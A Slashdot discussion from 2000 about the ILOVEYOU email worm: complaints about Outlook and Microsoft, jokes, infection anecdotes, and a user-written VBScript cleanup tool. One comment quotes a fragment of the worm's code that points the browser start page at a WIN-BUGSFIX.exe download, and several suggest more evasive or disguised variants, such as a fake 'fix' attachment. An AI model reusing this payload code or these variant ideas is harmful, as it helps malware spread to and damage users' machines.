    As usual, /. seems to be the best available technical source for MS Windows. A search for ILOVEYOU on microsoft.com timed out with 0 results. You would think that by now they would have some clue as to what is going on.

  191. how about not using outlook by ArchieBunker · · Score: 1

    Theres no better mail client for windows than outlook express? Come on. The only mail client I will ever use is Eudora.

    --
    Only the State obtains its revenue by coercion. - Murray Rothbard
  192. Re:Here is the Visual Basic Script that is "ILOVEY by derrickh · · Score: 2

    At least it's open source.

  193. ILOVEYOU trojan tries to download bugfix? by Refrag · · Score: 1

    In the following code you can see that the trojan is setting IE's default page to one of four URL's that are a link to a file called WIN-BUGSFIX.EXE. I haven't been able to connect to any of the URL's at the user's home dir level yet because my request keeps timing out. Does anyone know what this file does? Is it just a way for the trojan to keep track of computers it has already run from?

    if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
    Randomize
    num = Int((4 * Rnd) + 1)
    if num = 1 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhj kxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7 679njbvYT/WIN-BUGSFIX.exe"
    elseif num = 2 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfd jghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
    elseif num = 3 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRp Gqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbv g/WIN-BUGSFIX.exe"
    elseif num = 4 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNB mnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPh jasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg /WIN-BUGSFIX.exe"
    end if
    end if

    --
    I have a website. It's about Macs.
  194. MP3s... by Spasemunki · · Score: 3

    Destroys all MP3's on the system, hunh? Looks like Metallica is finally starting to wise up and fight dirty. . .

    1. Re:MP3s... by zenray · · Score: 1

      NO, Not Metallica. This worm was obviously made by a MPAA / RIAA conspircy to rid the world of MP3s. Very clever of them. That they destroyed *.jpg files also just as a cover up so that the MP3 files wasn't the only target.

      --
      zenray
  195. Re: Lookout! by Refrag · · Score: 1

    Lookout is actually the name that a lot of people use to refer to it internally at Microsoft. I think I even heard of a story where BillG referred to it as Lookout once... don't remember.

    --
    I have a website. It's about Macs.
  196. Standalone antidote in VBScript by rechsmjr · · Score: 1

    Written by my colleague, use at your own risk. Subsequent version will delete the viral *.vbs files and un-hide the hidden MP3 files. This could be improved: but I figured, release early, release often!

    ' Written by nowickis@hotmail.com
    ' No warranties: This may ruin your entire life and cause massive damage, use at your own risk!
    '
    On Error Resume Next

    Set fso = CreateObject("Scripting.FileSystemObject")

    Set szDirWin = fso.GetSpecialFolder(0)
    Set szDirSys = fso.GetSpecialFolder(1)
    Set szDirTemp = fso.GetSpecialFolder(2)

    set wscr=CreateObject("WScript.Shell")

    'The virus creates several copies of itself. Delete them . . .
    fso.DeleteFile szDirSys & "\MSKernel32.vbs"
    fso.DeleteFile szDirWin & "\Win32DLL.vbs"
    fso.DeleteFile szDirSys & "\LOVE-LETTER-FOR-YOU.TXT.vbs"
    fso.DeleteFile szDirSys & "\LOVE-LETTER-FOR-YOU.HTM"

    'It then sets these instances to run at start-up. Stop that from happening . . .
    wscr.RegDelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\MSKernel32"
    wscr.RegDelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\RunServices\Win32DLL"

    szDownloadFolder = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft \Internet Explorer\Download Directory")

    if (szDownloadFolder = "") then
    szDownloadFolder = "c:\"
    end if

    'The virus sets your IE homepage to point to an executable called WIN-BUGSFIX.exe and then sets that
    'file to load at start up. I don't know what that file does, but it's probably not nice. Let's delete that
    'one, too.
    wscr.RegDelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\WIN-BUGSFIX"

    'Reset the IE home page . . .
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.microsoft.com/ie"

    'That should do it. Any problems, check the web site of your anti-virus provider for additional help . . .

  197. Can Linux scan for Windows viruses? by M.+Silver · · Score: 1
    Stupid question time. I run a mailing list server, and one of the users on one of the lists (yes, amazingly... just one) got bit, and sent the critter to the list.

    Now, my software happens to snag attachments and replace them with links, so this one didn't go anywhere, but someone did obediently go and acquire the pointed-to file before I removed read access. Fortunately, he was using Netscape, so nothing happened.

    So here's my question: since mailing list users tend to blindly trust each other, and sometimes they do want to legitimately exchange executables, is there something I can run on the li'l ol' penguin-powered server that will detect (some, most, any) Windows viruses so I can protect these people from themselves?

    (Yeah, some of them are morons. But, dangitall, they're my morons.)

    --

    Slashdot's token middle-aged housewife
  198. Kudos to NPR by howard_wwtg · · Score: 1

    So far only one news orginization has gotten the story right. All the newscasts I've heard are leaading with titles like "E-mail Virus Criples Internet Users", none of them even mention that's its an MS-Outlook problem. This really irks me because they're missing the whole point that this is not an "Internet e-mail" virus it is a "Microsoft Outlook" virus. I felt vindicated 5 minutes ago when I heard on NPR's "All Things Considered" start off with the headline "Virus Inside Microsoft E-mail....". Congratulations NPR/All Things Considered for getting it right!

  199. Where's the "antidote" virus? by bill_mcgonigle · · Score: 1

    From: My Friend
    Subject: Fix for "ILOVEYOU" virus

    The IT department just received this patch from Microsoft which prevents the ILOVEYOU virus from infecting your computer. Double-click on the "ILOVEYOU.FIX" file to install the fix on your computer.

    Attachment: ILOVEYOU.FIX.vbs

    -----
    Hey, it could happen! (I'm suprised it didn't)

    --
    My God, it's Full of Source!
    OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
  200. MS friendly news by gad_zuki! · · Score: 5

    I know this is a cliche, but where's the outrage? This is the *second* worldwide virus that uses the same type of security leak in 2 years. What I do see is lots of techies saying "I told you so," while the popular press is very uncritical of MS and Outlook. When will the press use words like 'very unsecure' when describing Outlook or just MS in general?

    What do you think is the % of people who will quit using Outlook after being hit by this? 5% 1% 0%? If the press would do its job, namely informing and protecting the layman we'd see a lot less Outlook users. Instead we get 'don't open this mail, which is useless when the preview pane is always on' and 'all is well, download new virus updates, MS is still your friend.'

    1. Re:MS friendly news by Anarchofascist · · Score: 1
      --
      Once more unto the breach, dear friends, once more, Or close the wall up with our American dead!
    2. Re:MS friendly news by JoeWalsh · · Score: 1

      Speaking of which, here's an interesting bit from Reuters. Note in particular this nifty little quote from Scott Culp, program manager for Microsoft's security response center:

      ``There isn't a security vulnerability in Outlook involved in this at all,'' Culp said, pointing out that the ``Love Bug'' virus could only infect if a user detached the program from the e-mail and then ran it.

      I don't think there are very many people in the world right now that wouldn't know that Mr. Culp is flat out lying when he says you have to "detach the prgoram from the email" and then run it to get infected!

      It's amazing how brazen Microsoft is.

    3. Re:MS friendly news by specktater · · Score: 1
      What about this last paragraph from the reuters report.

      "However, in mid-afternoon, a Reuters reporter received two ''Love Bug'' faxes inadvertently sent from a Microsoft public relations officer's computer. The virus can also send itself by computer-controlled faxes but will not infect fax machines."

      Whew, I'm glad to see my fax machine isn't running Outlook.

      Speck

  201. Virus Stories On /. by Peale · · Score: 1

    And here I thought that virus stories were "too good" for Slashdot.

    A couple weeks ago, I submitted a story that was on CNN about a virus that will actually use your computers modem (if it has one) to dial 911.

    The story was declined.

    This seems a bit more important (at least, to me) than an 'annoying' 'virus'. This one has the potential to get you in to a bit of trouble. Not to mention you really don't want emergency crews knocking at your door.

    I'm sorry. What I meant to say was 'please excuse me.'
    what came out of my mouth was 'Move or I'll kill you!'

    1. Re:Virus Stories On /. by aphr0 · · Score: 1

      It's a bit more than 'annoying' if you happen to have a presentation or journal article being prepared and this virus hits you. I work at a medical research place and it's a bit more than 'annoying' for a doc to lose every one of his jpeg files.

      And the reason the 911 virus didn't make slashdot is because it's not anywhere near as widespread or quickly moving as this one.

  202. fwd: Joke (variant) by Wanker · · Score: 2

    A new variant is already making the rounds. Does anyone know the best way to configure sendmail to reject ALL Visual Basic attachments?

    The new variant uses a subject of "fwd: Joke"

  203. I HATE YOU by Annamite · · Score: 1
    Things to do:



    . Rename the file to 'I HATE YOU'

    . Change the wording in the body mesg: I HATE YOU!. If you lick on this icon, you will die!

    . Make myself a nice lemondade and watch CNN until the report of the "newer and more powerful virus appears" comes up

    . Wait until either

    1: FBI agents knock on my doors OR

    2: Die of old age.

    1. Re:I HATE YOU by option8 · · Score: 1

      no no no..

      change name to "OFFICIAL MICROSOFT ILOVEYOU FIX"

      change all references to "www.skyinet.net" to "www.microsoft.com"

      sit back and let microsoft eat its own dogfood.

  204. Hotmail's built in virus scanner does not trap it by ScorpionsFan · · Score: 1

    I received the virus this morning, in my hotmail account. Hotmail has a feature to scan attachments automatically, but it didn't catch the virus (using a product from McAfee). However, the message was forwarded to me by a person, who knows diddly-squat about VBS and so, being the suspicious guy that I am, I saved the attachment to disk and opened it with EMACS instead. The scary part is that there are several users who trust their virus scanners to say that an attachment is safe to look at. I guess Microsoft had better update their virus scanner on Hotmail as soon as possible.

  205. Yeah but here's how to harden Outlook by badzilla · · Score: 1

    Without question here's the best way to protect against these kind of macro viiri if you're an Outlook user, it works for us:

    How Active is Active Content in Email?

    http://ntbugtraq.ntadvice.com/default.asp?sid=1& pid=47&aid=56

    --
    "Don't belong. Never join. Think for yourself. Peace." V.Stone, Microsoft Corporation
  206. hack for qmail by nas · · Score: 1

    http://www.enme.ucalgary.ca/~nascheme/qmail-filter .py

  207. Who should we blame in a week? by ugly_toad · · Score: 1

    In a week all the commotion will have died down, most copies of the virus / trojan horse / whatever will have been deleted and only a few will still be doing the rounds. But who, if anyone, should shoulder the blame for what has happened?

    Obviously the prime contender is whoever wrote the script in the first place. It is fairly obvious that the intent was malicious, and after Melissa it is widely known what damage these sorts of things can do. But is it fair to pin all the blame here, after all after Melissa we all learnt our lesson, didn't we?

    It would appear not, and we risk shooting the messenger. Is the real culprit Microsoft who has left the system so open to abuse? After all they wrote all the code with all the interoperability, and hence all the scope for the security breaches we are seeing. But why wire all the programs together, and make all of them work as one...

    ...unless it is something that the users have asked for? Could the desk jockies be the problem, wanting all this ease of use and abstraction from the nitty-gritty, so that writing an email is just like a letter is just like all the rest? After all work is dull enougth, let the Microserfs deal with all the boring computer jargon.

    It is clear what will happen, and has already started to happen. The powers that be will press release that the villain is the author of the script, that (s)he has exploited security holes to disrupt society, and will be punished.

    It will not occur to the media-at-large that perhaps the company that hasn't fixed the problems after Melissa could be to blame. That Microsoft could have been just a little bit negligent and perhaps should have to make an apology, or pay up some expenses.

    Finally maybe the general users should get a stern word or two. If they want ease of use and security, they will have to kick up a fuss when they don't get it. How many people have complained to Microsoft as yet? Thought so.

    In the end the blame will fall on one person, whereas it should fall on quite a few. Hopefully this time around some more heads wil roll, and people will start to realise that software is just like any other commodity. If it doesn't work you get your money back, or you get compensation.

    Fool me once, shame on you.
    Fool me twice, shame on me.

  208. What about the CELL PHONES? by cperciva · · Score: 2

    Many PCS cell phones now have email to text message gateways, and I'm sure that some PCS phones' email addresses are in some peoples' lists...

    Are we going to be hearing about PCS systems crashing under heavy load of I-LOVE-YOU text messages?

  209. MS user licence by pyrotic · · Score: 1

    By installing Windows and clicking the usual "I agree not to ever sue MS ever" I'd guess most victims aren't able to sue MS over the lack of security in Outlook.

    How about owners of unix mailservers? Do we have a right, having not aggreed to the licence, to seek compensation for having our systems flooded due to Windows poor security?

  210. Linux Virus? by MSwanson · · Score: 1

    There was a semi-clever comment posted along with this story (as there are with many /. posts) regarding Microsoft and its products. As usual, it comes from an uninformed perspective.

    The comment suggested that Windows has weak security and as a result, has too much virus activity, whereas an OS like Linux doesn't.

    DUH!

    How many of you remember any virii running under H-DOS or CP/M (how many of you even know what I'm talking about)? The reason Windows has virus issues is because it totally owns the OS market, as the DOJ has not-so-subtly revealed.

    Linux doesn't have virus problems because nobody wants to waste their time on a virus that will affect less than 1% of corporate desktops.

    Besides, nobody would release a Linux virus until it had been open-sourced, peer-checked, and incorporated into the next Linux distribution.

  211. I know who's behind this... by tingalingusob · · Score: 1

    Destroys all your MP3s? I heard about this thing a while ago, I think it was called Project Zapster. It was done by some hacker group called the RIAA. Sneeky SOBs.

  212. Next one will be worse. by Restil · · Score: 1

    This one has been predicted ever since Melissa was released. Now we have one that does something dangerous, but its still nowhere bad as it could be. Next time it won't use an easily parsed subject line. Next time it won't go around erasing random files, it will just wait until a certain date and just nuke the entire computer.

    Of course, I don't use outlook. Maybe during the long recovery process, other people will start to realize the disadvantages of it as well.

    -Restil

    --
    Play with my webcams and lights here
  213. It propigated through Pine. by not_again · · Score: 2
    I just heard a co-worker say his computer was infected while running pine on a unix box.

    How?!

    The user saved the attachment on the unix server, ftp'd it to his windows box and ran it!

    1. Re:It propigated through Pine. by MaxwellsSilverHammer · · Score: 1

      "What a maroon. What an ultra maroon." Bugs Bunny

  214. Even if you run windows... by Lord_Sloth · · Score: 1

    ...are you stupid enough to run an attachment? No? OK then, is there anyone else at work stupid enough to run an attachment, and is your hard drive shared?

    --
    You are not me, therefore you are not important
  215. Removing ILOVEYOU virus from unix mailspools by strombrg · · Score: 1

    I've put a script up here that removes the virus from unix mailspools.

  216. Copyright infringement by Scrag · · Score: 2

    I'm sure the author of this program is going to be extremely upset when he finds out about all the people illegally distributing his copyrighted work!

    Maybe he can hire NetPD to find out who the people distributing his vb script are.

    I hope this gets stopped before it sets more of a precedent for people to just ignore copyright laws.

  217. Microsoft's Actual Response from Reuters by axelrod · · Score: 1

    Couldn't resist this: Here's Scott Culp, programing manager for Microsquish's security response center (Love that last line) :

    ``Viruses are really an industry-wide issue,'' said Scott Culp, program manager for Microsoft's security response center. ''They can be written
    for any platform. They can be written to use a variety of e-mail clients.

    ``In this case the virus author chose to target Outlook probably because it gave him better reach,'' he said. ``There isn't a security vulnerability in Outlook involved in this at all,'' Culp said.

  218. Not Just Outlook by sparkz · · Score: 2
    Windows doesn't have /usr/share/magic; associations are purely based on the final .xxx of the filename. (AFAIK)

    But what damage could a .sh do in, say, Pine?
    Well, not a lot; the script would be shown; you have the option of viewing it and then, if you like, save and run....

    But the fact is, any high-exposure software (mail-client, Napster, whatever) is vulnerable, not just because it runs under a single-user OS, but because it's a prime target; who'd bother exploiting a weakness in kmail / elm / pine / etc?

    This isn't of course forgetting (OSS)sendmail's many security holes... it also is high-exposure, and often runs as root(0)... Why bother with file permissions when you've got an exploit letting you become God?

    Okay, it's easy when a Windows user is root by default.

    What I'm saying is:

    It's not just M$ / closed software which is vulnerable to this kind of exploit; anything in wide use is the main target.

    This means that OSS is far from invincible to this kind of attack - especially as it gets more popular - sendmail is an old and tried example of this. Worth bearing in mind before we slam Closed / M$ software for being so buggy

    This doesn't excuse M$ for allowing Outlook to run these scripts any more than it excuses sendmail authors from their responsibility.

    Yrs, Steve.

    --
    Author, Shell Scripting : Expert Re
  219. Pay attention! by G-funk · · Score: 1

    As soon as somebody says "email virus" all the slashdotters go up in flames about how mas M$ is and how outlook and VB are the root of all evil (which may be true of vb but i digress).

    If you would take more than 2 seconds to look at the ACTUAL FACTS (*mass intake of breath*) you'd see that this is a trojan, that is spread by people running attachments... WOW! OH MY GOD! ATTACHMENTS CAN COME TO OTHER EMAIL CLIENTS!!!! Who'da thunk it? Damned microsoft, it must be their fault... How could anything bad not be microsoft's fault???

    Clowns.
    Now watch me get moderated into oblivion for not bagging MS.

    -Gfunk

    --
    Send lawyers, guns, and money!
  220. Re:Preview pane? Not on my Outlook! by sparkz · · Score: 1

    Somebody gonna give us an absolute on this?
    Don't do email in winderz myself, so I don't know
    - only do M$Word - also Melissable! M$'s file formats aren't open... If I've received an email from someone, I want it to be readable whatever OS / mail client I'm in - so Winderz can't see Linux partitions, so I don't do email in winders.

    --
    Author, Shell Scripting : Expert Re
  221. Re:Too many JOURNALISTS are ignorant as... by AdrianG · · Score: 1

    What about the journalists that report it?? I've sent the following off to the BBC, in hopes that MicroSoft will shoulder its share of the blame. I encourage the rest of you to send similar messages to the BBC and to other news organizations whose coverage is similarly incomplete.

    -------------

    From: L. Adrian Griffis <adrian@idir.net>
    To: newsonline@bbc.co.uk
    Subject: Missing the Point Regarding the "ILOVEYOU" Virus.

    While I'm delighted to the some substantial details in your coverage of
    the tour of the "ILOVEYOU" virus, I'm disappointed that you haven't
    pointed the finger at the one organization that should carry most of the
    blame. That organization is MicroSoft.

    Don't get me wrong, I'm appalled at the kind of attitude that must be
    behind a decision to release this virus. But MicroSoft's 20 years of
    reckless and perverse disregard for the safety of their customers' data
    is the central theme in all of these virus incidents. In the Unix/Linux
    world, when a vulnerability is discovered in an email client, it is
    acknowledge as a bug and corrected. It would never occur to us to
    tollerate a product that continues, release after release, with the same
    flawed design from a vendor that won't even acknowledge the flaws. It
    astonishes me that the MicroSoft Windows community never even cries foul
    when they find that MicroSoft has, once again, held their pants down
    during yet another attack. It astonishes me further that this same
    community thinks it quite natural to spend money on a third party
    product (a virus scanner) whose purpose is to shield this system, that
    the first vendor won't lift a finger to fix, from the malicious data
    that exploits the first vendor's neglect.

    Why haven't I seen a single negative comment about MicroSofts role in
    this crisis?

    Thanks

    Adrian

  222. Quick Fix? by quickquack · · Score: 1

    All I did to stop the effects of this is...
    1) Open Folder Options
    2) Go to File Extensions
    3) Disassociate vbs files with all apps--in other words, delete the file extension

    --
    ------------
    Tonight on Fox: Deadliest Executions Part XVII
  223. And he doesn't even indent his lines properly! by Kanasta · · Score: 1

    Or type his variables~


    ---

  224. Re:Hotmail's built in virus scanner does not trap by aphr0 · · Score: 1

    McAfee did have an updated dat file for the virus around 10am this morning. I'm sure the hotmail people have updated their scanning service accordingly.

  225. Script Kiddies by doodz · · Score: 1

    Due to the overwhelming ease with which the source code for this trojan is available, get ready for the script kiddie Exchange DoS. Any one of a million variants will be showing up on your mail server soon. --mr

    --
    Good Mornings!
  226. This Trojan is not just an MS problem by cagemonkey · · Score: 1

    I'm surprised that no one has mentioned Samba yet......we (UNIX group) got hit through a (Samba)mapped drive to a UNIX server. Luckily we caught it almost immediately. Did a shutdown and then came up in single user mode with the ethernet cable yanked (can you say paranoia?) Disabled the samba server and removed it from startup. Did a find to identify overwritten files (piped to a text file to document for users) and then deleted. I can also see this trojan getting unintentionally propagated through UNIX servers by people with windows "hide file extensions" turned on while FTPing through a GUI client. Next (windows) user comes along and downloads it (GUI windows client) and BLAM!

  227. Suggestion for future evolvment of the virus by matsh · · Score: 1

    What if someone rewrites this virus so that instead of sending itself with the same name to everyone in the address book, it would make sure every email sent has a different title and different name of the attachment? The virus could perhaps open some Word documents on the infected hard drive and randomly select some sentences. This way it could even localize itself, so that it would use a swedish subject in Sweden, a thai subject in Thailand, and a portugese subject in Brazil.

    The really bad thing with such a virus would be that prevention would be much harder. All you can say is: Don't open email attachments if they are sent to you from someone you know!

    In a way I really hope someone writes such a virus, since it would make it so obvious what crap products Microsoft makes.

    Mats

  228. thus we must put XML in the KERNEL!!! by criticalrealist · · Score: 1

    Thus, we must put XML in the kernel. That would solve the problem. And tech-savvy CTO's know it. If Linux is to compete with other operating systems, it must put XML in the kernel. Security is a distraction. It's all XML these days.

    --
    I am not a lawyer.
  229. Quote from Microsoft by wowbagger · · Score: 5
    This is a real quote from Scott Culp, program manager for Microsoft's security response center"
    In this case the virus author chose to target Outlook probably because it gave him better reach. There isn't a security
    vulnerability in Outlook involved in this at all.

    I didn't realize Microsoft was in Egypt, because this guy's clearly in denial.


    I wonder if anybody is going to bring a class action suit against Microsoft for not closing this security hole back when Melissa came out.

  230. Virus writer showed restraint by Master+of+Kode+Fu · · Score: 1
    I gave the script a look-see, and I have to say that whoever wrote it was showing some restraint. The program uses a recursion to iterate through all the files on a user's drives, yet it only really destroys scripts and JPEGs and hides MPEG files.

    Why stop there? Why just make it seem as if MP3s were being deleted, instead of actually zapping them? If I really wanted to do some serious damage, I'd have written it to take out executables -- or worse, harder-to-replace documents such as word processor files, spreadsheets, Powerpoint presentations...hey, even settings for "The Sims".

    It seems that this virus was meant to do just enough damage to make a point about security, rather than be seriously crippling. Either that, or the writer fears that if the damage was worse, he'd be in even deeper crap with the authorities.

    Opinions?

  231. It's not enough to say that MS is vulnerable. by Ungrounded+Lightning · · Score: 2

    If you want to get people to change their behavior you have to do more than tell them to stop the "bad" behavior. You have to give them a "good" alternative.

    Instead of saying "I told you Microsoft was bad." we should be saying "Switch to Linux so you won't be vulnerable to this class of attack."

    (Sure there are attacks that are possible on Linux. But they're fewer, and a damned sight harder to pull off. Microsoftware, on the other hand, has gaping holes all over the place, and no way for anybody who doesn't work for Bill's company, or hand-in-glove with it, to fix them.)

    --
    Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
  232. Decisions, decisions... by The+Man · · Score: 1
    As an administrator, I'm really torn here. Should I block this virus by various sendmail hacks, or let it go? If I let it go, then idiots who execute their mail, not to mention using windoze in the first place, get what they deserve, in spades. OTOH, if I block it I'm much less likely to have to deal with people asking me to fix up their machines (even if it just means I tell them that windoze isn't my problem). This is tough.

    Oh well. At least it gives me one more thing to laugh at - two, really: the fuckwits who get hit by it, and the even greater fuckwits who think it's some kind of global emergency. I mean, really, most wars don't get this much attention. And it's not like people don't have a choice about getting the virus...

    A Flu epidemic? Sure, that's news. ILOVEYOU? Gimme a fuckin break.

  233. Very funny "ILOVEYOU" story by blackrazz · · Score: 1

    I received this from a friend this morning:

    I'm sure by now you've all heard of the 'ILOVEYOU' e-mail virus. Well, on
    hearing about this in the news first thing this morning, an unnamed manager
    physically disconnected (without the sysadmin knowing) the mail server to
    'protect' our LAN - so the virus had a fantastic, if unintended DoS effect
    on our organisation at least. As an added bonus, the mail server which was
    disconnected was also the authentication server for our network, so logins
    and various network apps failed, and made for one happy sysadmin.

    Let me share with you a couple of e-mails everyone received a little later
    this morning, once the mail servers were brought back:

    ---------------------------

    From: an unknown manager
    Subject: ILOVEYOU virus

    Attention all staff,

    If you have received any e-mails with a subject line containing "ILOVEYOU",
    DO NOT OPEN.

    Delete this e-mail immediately and contact the IT Help desk on xxxx.

    Thank you
    The unknown manager

    ----------------------------

    This came half an hour later:

    ----------------------------

    From: the unknown manager
    Subject: Virus alert correction

    All Staff,

    It has come to my attention that some staff may not have opened my last
    e-mail because of the subject line, so I'm repeating it here:

    If you have received any e-mails with a subject line containing "ILOVEYOU",
    DO NOT OPEN.

    Delete this e-mail immediately and contact the IT Help desk on xxxxx.

    Thank you

    The unknown manager

    ---------------------------------

    After that correction to the original, another problem remained - everyone
    took 'this email' in the correct grammatical sense and immediately deleted
    the warning e-mail and called the IT helpdesk. Best laugh I've had in a
    long time.....

    1. Re:Very funny "ILOVEYOU" story by mohnkern · · Score: 1

      Talked to lots of people yesterday whose offices did just about the same thing. Thank god for ICQ and AIM, as it was the only reliable way to communicate with some people yesterday. Our steps were to:
      1) Verify the threat
      2) Notify users with a rational email note telling them to confirm all attachments with the sender.
      3) Patch sendmail appropriately.
      Seemed to be pretty effective, we only had 2 instances of infection (from users who don't read emails marked IMPORTANT first), and we haven't received anything since.

  234. Re:Here is the Visual Basic Script that is "ILOVEY by Black+Parrot · · Score: 1

    > the presence of the code on Slashdot.org

    Is there any truth to the rumor that you can catch the virus by reading the /. post with IE5?

    --

    --
    Sheesh, evil *and* a jerk. -- Jade
  235. Re:people and their stupidity by znix · · Score: 1

    The creator was, as the old cliche states, either very smart or very stupid.

    If the 'very stupid' scenerio is the case then I'd be willing to bet that rather than "laughing themselves off thier chairs" they are more likely shitting themselves. They know as well as you and I that they will be caught. They included way too much information.

    for example "rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines"

    and the references to
    www.skyinet.net
    Sky Internet,Inc.
    L/G Victoria I Bldg. 1670 Quezon Ave.
    Quezon, Ph 1103
    8000
    +63 2 411-2005
    Fax- +63 2 411-2003

    and the 4 users of Sky Internet, Inc. (chu, angelcat, young1s, and koichi.

    I'm sure someone will be able to make the connection between all of this.

    OR this guy was smart enough to select sky internet and grammersoft at random and has no connection whatsoever with these companies.

    either way I hope hes caught, it'll be interesting to see what his punishment is

    -Znix

  236. Uh, What? by PenguiN42 · · Score: 1
    No software should be able to edit a registry file or its equivalent without specific permission from an informed user. Period.

    Think of what sense this makes. So, every time a program changes anything on a system, it needs the user's confirmation? Just THINK about this for ten seconds. Think of programs you use on a daily basis. Think of how many things they change on your hard drive. Do you want a prompt for every single one of those!?

    Oh, yeah, also: Outlook ALREADY WARNS YOU if you try to open an executable attachment. But the people spreading this virus ignore the warnings and run it anyway. Stupid people are the problem, here.

    -------------
    The following sentence is true.

    --
    The following sentence is true. The preceding sentence was false.
    1. Re:Uh, What? by / · · Score: 2

      Think about how what you're suggesting isn't what I'm suggesting. Each program ought to be given its own space to poop in, but there's no reason for them to poop globally on the system as a whole. Any of that ought to be determine upon installing the software initially, which is presumably done by an intelligent and informed user or superuser.

      --
      "If one is really a superior person, the fact is likely to leak out without too much assistance" -- John Andrew Holmes
  237. Is the Recording Industry Invovled!? by celerityfm · · Score: 1
    The virus overwrites/destroys mp3 files... could this have been an experiment, orchestrated by the RIAA, of a potential mp3-pesticide!? ::ducks black helicopter:: Beside the legalities involved, whats to stop the recording industry from propogating viruses/trojans that just outright destroy MP3 collections -perhaps propogating through wrapster/gnutella/irc/email/webpages/etc..

    Pretty scary... I heard on CNNHN that some european photo archives had lost alot of data due to the trojan overwriting jpg files... I wonder how many people had their .mp3 collections toasted :).

    --
    ...unfortunately no one can be told what The Mat^H^H^HGoatse is...they must experience it for themselves...
  238. Of VBS attachments in Outlook Express... by PenguiN42 · · Score: 2

    Alright, i wrote a small vbs file and emailed it to myself, to see if any of the FUD here is true.

    First of all, IT DOES *NOT* EXECUTE AUTOMATICALLY IN THE PREVIEW PANE!!! I don't know what you people are talking about! I have to click on the attachment-button, then click on "Excel.VBS" in the drop-down menu.

    It then pops up a dialog that says:

    "Open Attachment Warning

    Opening:
    EXCEL.VBS

    Some files can contain viruses or otherwise be harmful to your computer. It is important to be certain that this file is from a trustworthy source.

    What would you like to do with this file?
    [ ] Open it
    [x] Save it to disk

    [x] Always ask before opening this type of file"

    You have to choose "Open it" then click "OK", then it runs.

    That's a pretty stern warning, but people ignore it because it's from someone they know. You would think that people would learn after the melissa worm. Don't run ANY files you recieve in email without confirmation first.

    -------------
    The following sentence is true.

    --
    The following sentence is true. The preceding sentence was false.
  239. A simple solution for microsoft: by PenguiN42 · · Score: 2
    I was thinking about this, and there's a simple solution that would stop the spread and damage of 99% of these worms: Microsoft should implement three user confirmation checks in all their scripting and macros:

    1) "This script is attempting to send mail, would you like to allow it?"

    2) "This script is attempting to modify the hard disk, would you like to allow it?"

    3) "This script is attempting to modify your startup programs, would you like to allow it?"

    Pretty easy, ne? Maybe I should email them :P

    -------------
    The following sentence is true.

    --
    The following sentence is true. The preceding sentence was false.
    1. Re:A simple solution for microsoft: by bharlan · · Score: 1

      I've heard that certain environments allow
      you to execute imported code in a "sandbox,"
      with configurable access to the host's system.
      The default security policy does not
      allow new remote connections or touching
      the file system.

      Oh, I remember. It's called a Java applet.

      --
      (Reality reasserts itself sooner or later.)
    2. Re:A simple solution for microsoft: by he-sk · · Score: 1

      Yeah, but in true Microsoft tradition they would include a checkbox labeled "do not ask that question again".

      --
      Free Manning, jail Obama.
  240. Ok by PenguiN42 · · Score: 1

    Ok, I must have misread you.
    Actually, i think i agree with you. Specifically to these problems (script or macro based email worms), there are three things I see where there should be at least a user confirmation, if not a complete restriction of the script:
    1) Attempting to send email (maybe it can write it, but the user has to send it)
    2) Attempting to modify the disk
    3) Attempting to modify startup programs or other programs' registry settings (already somewhat protected in NT, but not enough)

    -------------
    The following sentence is true.

    --
    The following sentence is true. The preceding sentence was false.
  241. MS releases new software! by Alari · · Score: 1

    Microsoft Press announced today the release of a new software package, titled "Microsoft Outlook". This tool kit, reviewed by many and considered to be yet another attempt by Microsoft to branch into alternate software development paths previously unexplored, has the creators of the popular "Virus Creation Lab" worried. "This could put me out of a job," claimed one respondent, who preferred to remain anonymous. Microsoft seems confident that their software will be recognized for what it is, an attempt to provide users of Windows 98, Windows NT, and Windows 2000 with the capacity to create and test viruses, in the comfort of their own home. The software includes a scripting language, several virus templates, and rigorous testing utilities designed to maximize the effect of any virus scripted by the user. It also included an integrated e-mail client. Microsoft will begin releasing a free version of the software next week, known as Outlook Express. This version includes a few sample templates, a smaller version of the tool kit, the scripting language, and the integrated e-mail client. The user will have the option to upgrade to the full version of Outlook for a small charge.

    Alari Hyena

    ... I wonder if The Onion is hiring...

    --
    I use Windows... like a two dollar wh.. why don't I just go ahead and not finish that sentence.
  242. Thoughts on the blanket generic solution... by K9-Gloucester · · Score: 1

